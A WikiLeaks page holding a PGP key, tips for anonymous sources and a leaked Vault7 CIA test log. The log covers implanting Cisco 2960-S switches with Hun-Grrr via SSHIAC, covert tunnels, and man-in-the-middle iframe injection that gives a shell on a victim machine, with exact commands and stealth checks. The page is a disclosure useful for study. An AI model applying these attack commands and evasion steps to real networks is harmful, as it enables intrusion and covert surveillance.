How to contact WikiLeaks? What is Tor? Tips for Sources After Submitting

This key's fingerprint is A04C 5E09 ED02 B328 03EB 6116 93ED 732E 9231 8DBA

    -----BEGIN PGP PUBLIC KEY BLOCK-----

    mQQNBFUoCGgBIADFLp+QonWyK8L6SPsNrnhwgfCxCk6OUHRIHReAsgAUXegpfg0b
    rsoHbeI5W9s5to/MUGwULHj59M6AvT+DS5rmrThgrND8Dt0dO+XW88bmTXHsFg9K
    jgf1wUpTLq73iWnSBo1m1Z14BmvkROG6M7+vQneCXBFOyFZxWdUSQ15vdzjr4yPR
    oMZjxCIFxe+QL+pNpkXd/St2b6UxiKB9HT9CXaezXrjbRgIzCeV6a5TFfcnhncpO
    ve59rGK3/az7cmjd6cOFo1Iw0J63TGBxDmDTZ0H3ecQvwDnzQSbgepiqbx4VoNmH
    OxpInVNv3AAluIJqN7RbPeWrkohh3EQ1j+lnYGMhBktX0gAyyYSrkAEKmaP6Kk4j
    /ZNkniw5iqMBY+v/yKW4LCmtLfe32kYs5OdreUpSv5zWvgL9sZ+4962YNKtnaBK3
    1hztlJ+xwhqalOCeUYgc0Clbkw+sgqFVnmw5lP4/fQNGxqCO7Tdy6pswmBZlOkmH
    XXfti6hasVCjT1MhemI7KwOmz/KzZqRlzgg5ibCzftt2GBcV3a1+i357YB5/3wXE
    j0vkd+SzFioqdq5Ppr+//IK3WX0jzWS3N5Lxw31q8fqfWZyKJPFbAvHlJ5ez7wKA
    1iS9krDfnysv0BUHf8elizydmsrPWN944Flw1tOFjW46j4uAxSbRBp284wiFmV8N
    TeQjBI8Ku8NtRDleriV3djATCg2SSNsDhNxSlOnPTM5U1bmh+Ehk8eHE3hgn9lRp
    2kkpwafD9pXaqNWJMpD4Amk60L3N+yUrbFWERwncrk3DpGmdzge/tl/UBldPoOeK
    p3shjXMdpSIqlwlB47Xdml3Cd8HkUz8r05xqJ4DutzT00ouP49W4jqjWU9bTuM48
    LRhrOpjvp5uPu0aIyt4BZgpce5QGLwXONTRX+bsTyEFEN3EO6XLeLFJb2jhddj7O
    DmluDPN9aj639E4vjGZ90Vpz4HpN7JULSzsnk+ZkEf2XnliRody3SwqyREjrEBui
    9ktbd0hAeahKuwia0zHyo5+1BjXt3UHiM5fQN93GB0hkXaKUarZ99d7XciTzFtye
    /MWToGTYJq9bM/qWAGO1RmYgNr+gSF/fQBzHeSbRN5tbJKz6oG4NuGCRJGB2aeXW
    TIp/VdouS5I9jFLapzaQUvtdmpaeslIos7gY6TZxWO06Q7AaINgr+SBUvvrff/Nl
    l2PRPYYye35MDs0b+mI5IXpjUuBC+s59gI6YlPqOHXkKFNbI3VxuYB0VJJIrGqIu
    Fv2CXwy5HvR3eIOZ2jLAfsHmTEJhriPJ1sUG0qlfNOQGMIGw9jSiy/iQde1u3ZoF
    so7sXlmBLck9zRMEWRJoI/mgCDEpWqLX7hTTABEBAAG0x1dpa2lMZWFrcyBFZGl0
    b3JpYWwgT2ZmaWNlIEhpZ2ggU2VjdXJpdHkgQ29tbXVuaWNhdGlvbiBLZXkgKFlv
    dSBjYW4gY29udGFjdCBXaWtpTGVha3MgYXQgaHR0cDovL3dsY2hhdGMzcGp3cGxp
    NXIub25pb24gYW5kIGh0dHBzOi8vd2lraWxlYWtzLm9yZy90YWxrKSA8Y29udGFj
    dC11cy11c2luZy1vdXItY2hhdC1zeXN0ZW1Ad2lraWxlYWtzLm9yZz6JBD0EEwEK
    ACcCGwMFCwkIBwMFFQoJCAsFFgIDAQACHgECF4AFAlb6cdIFCQOznOoACgkQk+1z
    LpIxjbrlqh/7B2yBrryWhQMGFj+xr9TIj32vgUIMohq94XYqAjOnYdEGhb5u5B5p
    BNowcqdFB1SOEvX7MhxGAqYocMT7zz2AkG3kpf9f7gOAG7qA1sRiB+R7mZtUr9Kv
    fQSsRFPb6RNzqqB9I9wPNGhBh1YWusUPluLINwbjTMnHXeL96HgdLT+fIBa8ROmn
    0fjJVoWYHG8QtsKiZ+lo2m/J4HyuJanAYPgL6isSu/1bBSwhEIehlQIfXZuS3j35
    12SsO1Zj2BBdgUIrADdMAMLneTs7oc1/PwxWYQ4OTdkay2deg1g/N6YqM2N7rn1W
    7A6tmuH7dfMlhcqw8bf5veyag3RpKHGcm7utDB6k/bMBDMnKazUnM2VQoi1mutHj
    kTCWn/vF1RVz3XbcPH94gbKxcuBi8cjXmSWNZxEBsbirj/CNmsM32Ikm+WIhBvi3
    1mWvcArC3JSUon8RRXype4ESpwEQZd6zsrbhgH4UqF56pcFT2ubnqKu4wtgOECsw
    K0dHyNEiOM1lL919wWDXH9tuQXWTzGsUznktw0cJbBVY1dGxVtGZJDPqEGatvmiR
    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
    J3x7gtxUMkTadELqwY6hrU8=
    =BLTH
    -----END PGP PUBLIC KEY BLOCK-----

How to contact WikiLeaks? What is Tor? Tips for Sources After Submitting

### Contact

If you need help using Tor you can contact WikiLeaks for assistance in setting it up using our simple webchat available at: https://wikileaks.org/talk

If you can use Tor, but need to contact WikiLeaks for other reasons use our secured webchat available at http://wlchatc3pjwpli5r.onion

We recommend contacting us over Tor if you can.

How to contact WikiLeaks? What is Tor? Tips for Sources After Submitting

### Tor

Tor is an encrypted anonymising network that makes it harder to intercept internet communications, or see where communications are coming from or going to.

In order to use the WikiLeaks public submission system as detailed above you can download the Tor Browser Bundle, which is a Firefox-like browser available for Windows, Mac OS X and GNU/Linux and pre-configured to connect using the anonymising system Tor.

#### Tails

If you are at high risk and you have the capacity to do so, you can also access the submission system through a secure operating system called Tails. Tails is an operating system launched from a USB stick or a DVD that aim to leaves no traces when the computer is shut down after use and automatically routes your internet traffic through Tor. Tails will require you to have either a USB stick or a DVD at least 4GB big and a laptop or desktop computer.

How to contact WikiLeaks? What is Tor? Tips for Sources After Submitting

### Tips

Our submission system works hard to preserve your anonymity, but we recommend you also take some of your own precautions. Please review these basic guidelines.

#### 1. Contact us if you have specific problems

If you have a very large submission, or a submission with a complex format, or are a high-risk source, please contact us. In our experience it is always possible to find a custom solution for even the most seemingly difficult situations.

#### 2. What computer to use

If the computer you are uploading from could subsequently be audited in an investigation, consider using a computer that is not easily tied to you. Technical users can also use Tails to help ensure you do not leave any records of your submission on the computer.

#### 3. Do not talk about your submission to others

If you have any issues talk to WikiLeaks. We are the global experts in source protection – it is a complex field. Even those who mean well often do not have the experience or expertise to advise properly. This includes other media organisations.

How to contact WikiLeaks? What is Tor? Tips for Sources After Submitting

### After

#### 1. Do not talk about your submission to others

If you have any issues talk to WikiLeaks. We are the global experts in source protection – it is a complex field. Even those who mean well often do not have the experience or expertise to advise properly. This includes other media organisations.

#### 2. Act normal

If you are a high-risk source, avoid saying anything or doing anything after submitting which might promote suspicion. In particular, you should try to stick to your normal routine and behaviour.

#### 3. Remove traces of your submission

If you are a high-risk source and the computer you prepared your submission on, or uploaded it from, could subsequently be audited in an investigation, we recommend that you format and dispose of the computer hard drive and any other storage media you used.

In particular, hard drives retain data after formatting which may be visible to a digital forensics team and flash media (USB sticks, memory cards and SSD drives) retain data even after a secure erasure. If you used flash media to store sensitive data, it is important to destroy the media.

If you do this and are a high-risk source you should make sure there are no traces of the clean-up, since such traces themselves may draw suspicion.

#### 4. If you face legal action

If a legal action is brought against you as a result of your submission, there are organisations that may help you. The Courage Foundation is an international organisation dedicated to the protection of journalistic sources. You can find more details at https://www.couragefound.org.

# Submit documents to WikiLeaks

WikiLeaks publishes documents of political or historical importance that are censored or otherwise suppressed. We specialise in strategic global publishing and large archives.

The following is the address of our secure site where you can anonymously upload your documents to WikiLeaks editors. You can only access this submissions system through Tor. (See our Tor tab for more information.) We also advise you to read our tips for sources before submitting.

wlupld3ptjvsgwqw.onion
Copy this address into your Tor browser. Advanced users, if they wish, can also add a further layer of encryption to their submission using our public PGP key.

If you cannot use Tor, or your submission is very large, or you have specific requirements, WikiLeaks provides several alternative methods. Contact us to discuss how to proceed.

How to contact WikiLeaks? What is Tor? Tips for Sources After Submitting

# Vault7: CIA Hacking Tools Revealed

Navigation: » Latest version

Owner: User #71467

## JQJTHRESHER Test Notes

3/4/2015 - User #76741

Followed README instructions to trigger HG. Opened and setup Listening window first, then followed steps to open and setup Trigger window. When I entered ./prep-ct.sh in the Trigger window, got the following message in the Listening window:

Bus error (core dumped) - spoke with User #76744/Xetron about this. He says this is because ./prep-ct.sh is only meant to be run once. It is in the README to run twice because the README assumes you are not triggering and listening on the same VM.

3/6/2015 - User #76741

Was trying different things with the Seeds host to get HG to call back without an explicit IP to impersonate. I edited the ifcfg-eth1 file on Seeds to remove the DOMAIN variable and then saved my changes to the file. Then I restarted network services on the Seeds host so my changes would take effect. Noticed that I could no longer ping the default gateway from the Seeds host. Logged into network gear to verifiy connections and found 3750G g1/0/11 in err-disable state with syslog message %ETHCTR-3-LOOP_BACK_DETECTED: Loopback detected on Gi1/0/11, putting Gi1/0/11 in err-disable state. I bounced the port to restore and it came up/up. I also check the TOR-SW-1 and found g1/0/3 in the same state. Bounced port to restore. Went back to ICON VM Virtual Machine to attempt to trigger again and now Trigger packets are not successful, where they were before. Ran tcpdump on the Seeds host that is the destination for the trigger packet and it actually does receive the trigger packet. HG is no longer picking up the trigger packet. Reloaded 2960S to reinstall HG, and without HG installed, ports no longer to into err-disable state when I issue service network restart on Seeds. Successfully re-attacked with HG and still do not see the err-disable issue.

## Progress / Notes

1. TR team has performed initial review of configuration and Ops provided diagrams
2. TR team is moving required VMs at this time
3. Created Blot-Proxy, Blot-Onslaught, Blot-CoverWeb, ICON-CutThroat VMs. Copied Fedora10-hg2960-Seeds VM Virtual Machine from NDB Network Devices Branch Lab to use for seed traffic.
4. Built test network with 2960S-24TS-L target switch, 3750G-24T Router and 3 2960-24TT-L switches.
5. Upgraded IOS Apple operating system for small devices on target 2960S switch to c2960s-universalk9-mz.122-55.SE7.bin. Updated confiugration to match config obtained from COG.
6. Uploaded Aquaman delivery package to ICON-CutThroat VM Virtual Machine and installed in /home/ubuntu.
7. Successfully attacked target 2960S switch with SSHIAC and installed Hun-Grrr. Note:
   1. On ICON-CutThroat VM Virtual Machine - had to move to Devlan temporarily to download the ia32-lib from the repo in order for SSHIAC to run
   2. Must enable the root account and su - root in each window you use when you attack with SSHIAC and use CutThroat
8. Modified Seeds scripts on Fedora10-hg2960-Seeds VM Virtual Machine to generate ICMP/ARP, DNS Domain Name System and HTTP Hypertext Transfer Protocol traffic in our test network.
9. Established comms between Hun-Grrr and ICON-Cuthroat VM.
   1. Used beacon get_current_trigger_number and beacon set_current_trigger_number to make sure HG trigger sequence number was correct
   2. Had successful trigger packets however did not receive a callback
   3. User #76739/Xteron recommended to use beacon call_me_back https 443 -ii 172.31.255.2 and then finally comms came up, successful SSL Secure Socket Layer handshake in listening window.
10. Created new WebServer VM Virtual Machine to use as web destination for seed traffic - 172.20.13.25.
11. Created new BIND DNS Domain Name System server software DNS Domain Name System server VM Virtual Machine to resolve WebServer domain. New BIND DNS Domain Name System server software server has google.com, cnn.com and blot.com zones.
12. IXIA added to the topology for traffic generation. Port 11 on IXIA to 0/1 on 3750 and IXIA Port 20 to 2960S 1/0/24
13. Spoke with BARTWELL and discussed network topology and CONOP. We will need to update our testbed architecture to more closely match operational network.
14. Installed Flux on FluxHost VM
15. Copied Windex and Windex Target VMs to Test Range from NDB Network Devices Branch lab for use in SMITE testing
16. Re-configured topology based on latest 2960 configs from BARTWELL.
17. Fixed issue with Seeds traffic - added second DNS Domain Name System server and moved both DNS Domain Name System servers and Web server into public IP space. HG comms now established without specifying a host to impersonate.
18. Successfully tested HG SMITE functionality using Windex-Victim-WinXPProSP3 (192.168.21.11), Windex ( X.X.X.XX (LVLT-GOGL-8-8-8[US])), and our WebServer ( X.X.X.XX (LVLT-GOGL-8-8-8[US])).
    1. User #76742/Xetron recommends always using the -bc and -bk flags when creating the mitm rule. This bypasses compression and chunking, and SMITE did not work in our test scenario without these flags.
    2. User #76745/Xetron noted that the iframe is injected after the <body> tag, and if the body tag is split into two packets, HG will not add the iframe

    3.     mitm create http_iframe 192.168.21.11 255.255.255.0 0 0
           X.X.X.XX (LVLT-GOGL-8-8-8[US])
           255.255.255.0 80 80 "http://
           X.X.X.XX
           (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk

19. Installed 12.2(50)SE5 on 2960#3 for use in testing Tunnel
20. Copied RANCID VM Virtual Machine from NDB Network Devices Branch Lab up to TestRange and configured for use on JQJTHRESHER testing
21. Reviewed Test Plan with team
22. Discussed CONOP Concealed Operation of use of Flux with Dualor Tunnel with Operator
23. Implanted 2960#3 with aquaman-3h survey delivery of HG and established comms from ICON-CT.
24. Completed the following Smoke Tests against the target 2960-S:
    1. Attack with SSHIAC
       1. SSHIAC produced the following out on CutThroat during install - LG EC-125 DH Diffie-Hellman encryption EC-60 EC-159 M
       2. Five second CPU on Target 2960-S hit 66% as a high during the SSHIAC attack, One minute - 22%, Five minute - 11%
       3. No commands seen in history
       4. No syslog messages generated
       5. Memory used increased by ~50k
    2. Installed HG - Aquaman-5h
       1. Installed with no delay set between packets
       2. Five second CPU hit 25% during install - note this is with 0 delay between packets
       3. Memory used increased by 2.8M after install from baseline
       4. No syslog messages generated
    3. Establish Comms with ICON-CT
       1. Five second CPU hit 19% during SSL Secure Socket Layer Handshake with ICON-CT
       2. No significant change to memory used (~1k)
    4. SMITE capability
       1. Successfully injected an Iframe into a web request and established a shell term connection with Windex
       2. Filter applied: mitm create http_iframe 192.168.21.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http:// X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
       3. Note that -bc and -bk flags aree recommended by User #76743/Xetron for standard use because they offer the best chance of success. These flags will bypass compression and chunking, and in fact SMITE does not work in our test environment without these flags configured.
       4. Five second CPU did not change from baseline - no noticeable spike
       5. No syslog messages generated.
       6. Took two screenshots - one of windex shellterm connection and one of victim source code showing Iframe for Test Report
    5. CI Test
       1. Used RANCID to compare configuration of Target 2960-S before any testing and configuration after previous smoke tests completed - RANCID found no change
       2. There were CPU spikes during SSHIAC and HG install, however these are known. Need to confirm our CPU spikes are within expected levels.
       3. There was a change in the memory used after HG install, need to confirm if this is expected and within norms.
       4. Need to eyeball the output from show-tech from before and after to look for any anamolies - found output from show controllers - line sw forwarding is 0 untile HG installed, at which point it begins incrementing
          1. additional things to track down from sh tech - exec process, remote command vtp, show stacks - difference in processes listed
       5. Found no change to files or file sizes on file system
       6. Note that there is no "test platform debugger dumpmem" command available on this 2960-S. Based on PW's Kingpin test report, this is the only IOS Apple operating system for small devices (except ROMMON Read-Only Memory Monitor Cisco bootstrap program commands) that will allow inspection of HG memory.
       7. Time permitting could perform additional hidden commands
25. Completed the following Performance Tests against the target 2960-S
    1. Used IXIA Breaking Point to generate traffic and establish a baseline performance for the 2960-S. IXIA cabled to 2960-S (g1/0/24) on one side and 3750G (g1/01/) on the other. Traffic configured as follows:
       1. AppSim test component with BreakingPoint-Enterprise traffic profile
       2. Maximum bandwidth 75Mbps (while IXIA connects to Gigabit ports, the link between the IXIA and the 3750G is FastEthernet)
       3. 20 simulated hosts on 192.168.0.0/25 ( VLAN Virtual Local Area Network 1)
       4. 50 simulated hosts on 192.168.21.0/24 ( VLAN Virtual Local Area Network 21)
    2. During a 1 hour Baseline test without HG installed, target 2960-S one minute and five minute CPU Utilization remained steady at 6%. Five second CPU had small spikes with a maximum of 39%.
    3. During 30 minute Performance test with HG installed, target 2960-S CPU recorded higher results than the baseline without HG:
       1. During SSHIAC attack, five second CPU had spikes to 57% and 54% for two minutes in row during SSHIAC attack, and one minute CPU was observed as high as 21% on show proc cpu sorted, and shows 30% on a show proc cpu history
       2. During HG install, five second CPU spiked to 28%
       3. During HG SSL Secure Socket Layer handshake with ICON-CT, five second CPU spiked to 18%
       4. Once HG was installed and comms established, CPU levels returned to what was observed during Baseline performance test without HG - one minute and five minute CPU levels at 6%, largest value for five second CPU was 9%.
       5. No significant change to CPU observed from Baseline during successful SMITE attack - largest five second CPU spike observed was 9%.
26. Samsonite Test Case - Uninstall HG and re-attack
    1. Reloaded 2960-S to start with a clean target device
    2. Attacked with SSHIAC, installed HG and established comms
    3. Attempted uninstall hg command device uninstall_hg - this command fails with error that says you must use -f flag
    4. Attempted uninstall hg command device uninstall_hg -f - then typed yes to confirm, result success.
    5. Checked used memory on the target 2960-S and the memory has gone back to down normal level without HG installed (may be slight difference, need to do the math), no syslog messages, no CPU spike
    6. Re-attacked using SSHIAC, installed HG, established HG comms - no anomalies
    7. Uninstalled HG again using device uninstall_hg -f - no anomalies
       1. No syslogs
       2. Used memory back to normal - could check math to find a small difference
27. Samsonite Test Case - Dropped connection during HG install
    1. Reloaded 2960-S to start with a clean target device
    2. Added 1 second of delay to HG upload in remote configuration file
    3. Attacked with SSHIAC
    4. Entered hg_start and after just a few chunks were sent, shut int g1/0/11 via console connection on 2960-S to simulate network outage
    5. ICON-CT reported HG install failed
    6. No syslog messages from switch
    7. Used memory still shows higher than it should, but not as high as if HG were installed - 27265180 (b)
    8. Issued no shut on 2960-S interface g1/0/11 to re-enable the connection
    9. Entered hg_start on ICON-CT and HG successfully uploaded - used memory after successful install - 29607324 (b)
28. Samsonite Test Case - Attempt to install HG when HG already installed
    1. Cannot initiate hg_start again via remote - reports comms failure
    2. Attempted to re-attack with SSHIAC - seemed to go through normal SSHIAC install process, however at the end of the install, could not establish comms with remote
       1. Broad didn't work
       2. hg_start fails
    3. Attempted to re-establish HG comms and that was successful
29. Samsonite Test Case - Enable MITM Man-In-The-Middle attack rule and execute system administrator commands
    1. Enabled the SMITE MITM Man-In-The-Middle attack rule used above in HG
    2. Performed the following with no anomalies observed
       1. Cleared log buffer
       2. Disable/re-enable logging
       3. Multiple show commands - mac-address table, memory, proc cpu, proc cpu hist, log,run
       4. Write mem
       5. Add/delete a user
       6. Add/delete a VLAN
    3. Verified that SMITE works by web browsing from Victim VM Virtual Machine - collected output from Wireshark running on Victim VM Virtual Machine which shows Iframe
30. Samsonite Test Case - Issue Cisco "test crash" command to test crash and generate a crashinfo
    1. With HG installed, issued test crash and selected reason as software forced crash
       1. Saved output of crashinfo file
       2. Saved log messages seen upon reboot of switch in log buffer
       3. Memory used had returned to normal levels for no HG, controller counters for sw forwarding back to 0
       4. Re-attacked with SSHIAC and installed HG and established HG comms successfully after test crash - with 1 second delay the five second CPU during HG install spiked to a max of 19%
    2. Without HG installed, repeated test crash - need to compare crashinfo
       1. Reloaded 2960-S to remove HG
       2. Issued "test crash" command with software forced crash as reason
       3. Saved output of crashinfo file
       4. Saved syslog messages seen up reboot of switch in log buffer - log messages are the same as seen on test crash with HG
31. Samsonite Test Case - Perform core dump of 2960-S
    1. Performed a write core and saved to TFTP File transfer software server - both before and after HG install.
    2. Need to compare these files
32. Trigger and Callback through a HG Tunnel running Aquaman-3h on 2960
    1. Updated 2960#1 to 12.2(50)SE5 and implanted with Aquaman-3h delivery of HG
    2. Established comms with Aquaman-3h from ICON-CT on port 443
    3. Disabled setting in Aquaman-3h HG tunnel which will disable the tunnel if the tap IP becomes active
       1. Edit hg/config/tunnel.ini and change DetectTAPSrcTraffic=Yes to No
       2. From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg and note output and DetectTAPSrcTraffic = Yes
       3. From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg tunnel.ini and note in the output that DetectTAPSrcTraffic has been changed to No
       4. From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg and note output and DetectTAPSrcTraffic = No
       5. From Aquaman-3h CutThroat, type file put cfs/000000004B8FAF63.cfg default:000000004B8FAF63.cfg in order to load the new setting up to HG
       6. From Aquaman-3h CutThroat, type module restart default:CovertTunnel.mod to restart the module
          1. This did not work initially and Xetron is aware of this problem. To fix, try restarting again, and run ilm refresh.
    4. Establish Dualor tunnel with tap IP 192.168.0.100
       1. From /hg/tools/dualor/linux, run ./Dualor .../configs/dualor-endpoint.ini and note that you get a message that CT Counter Terrorism is listening on port 444
       2. From Aquaman-3h CutThroat, run tun init tools/dualor/config/dualor-callback.ini and note that the SSL Secure Socket Layer session establishes
       3. Note that on ICON-CT VM Virtual Machine you know have a new interface called tap0 with an iP 192.168.0.110
    5. Add a route to ICON-CT for 192.168.21.0/24 to use tap0 interface - route add -net 192.168.21.0/24 dev tap0
    6. Move to Aquaman-5h setup - Edit aquaman-5h.txt Interface value under general settings to tap0, and set CommsH port to 445
    7. Establish HG comms using "beacon call_base_back https 192.168.0.110 445"
    8. Comms successfully established through Aquaman-3h tunnel
    9. Configured mitm rule for SMITE as in tests above and successfully exploited Victim VM Virtual Machine and read secrets.txt from Windex
33. Samsonite Test Case - Create MITM Man-In-The-Middle attack rule for SMITE multiple times
    1. Created the MITM Man-In-The-Middle attack rule twice in a row - command successful both times and two identical rules present in mitm show output
    2. Created a third identical MITM Man-In-The-Middle attack rule - now there are three identical MITM Man-In-The-Middle attack rules
    3. Iframe injection on Victim VM Virtual Machine successful - only 1 Iframe injected
    4. Deleted the two additional rules and added a rule with same filter settings except different iframe string - only one iframe injected and it is for lowest numbered rule
    5. Deleted the lowest numbered rule so now only 1 rule applied - iframe is injected that matches remaining rule
    6. Noticed that in our test setup HTML Hypertext Markup Language we have two body tags, and we actually get two iframes injected - one after each body tag, which results in two shellterm connection ids in Windex
    7. When multiple MITM Man-In-The-Middle attack rules are present for the same traffic, lowest numbered rule is the action performed
34. Samsonite Test Case - Reload FilterBroker.mod while mitm rule enabled
    1. Created a mitm rule and verified functionality by viewing source on the Victim VM
    2. On CutThroat session, entered module restart default:FilterBroker.mod
    3. Issued module show and saw two copies running - one status ModuleStopped, one status ModuleRunning
    4. Issued ilm refresh to attempt to clear the old copy of FilterBroker - however two copies still present in module show
    5. Ran mitm show and found no rules - restarting the module had deleted our rule
    6. Re-added a mitm rule and verified functionality by checking for the Iframe on Victim VM
    7. Checked module show and found that now, only one copy - status ModuleRunning - is present
35. Installed new 2960-S with PoE
36. Smoke Test - Install Aquaman-5h on PoE 2960-S
    1. Attack 2960-S with SSHIAC
       1. Five second CPU hit 58% during SSHIAC
       2. Observed same error codes in SSHIAC output as with non PoE 2960-S
    2. Install HG on 2960-S
       1. Five second CPU hit 26% during HG install
       2. No commands seen in history
       3. No syslog messages generated
       4. Used memory increased as expected
    3. Establish comms with ICON-CT
       1. Five second CPU spiked to 19% during SSL Secure Socket Layer handshake
       2. Successfully established HG comms
37. Smoke Test - Trigger and Callback through a HG Tunnel running Aquaman-3h on 2960 (2960-S with PoE)
    1. Establish Dualor tunnel with tap IP 192.168.0.100
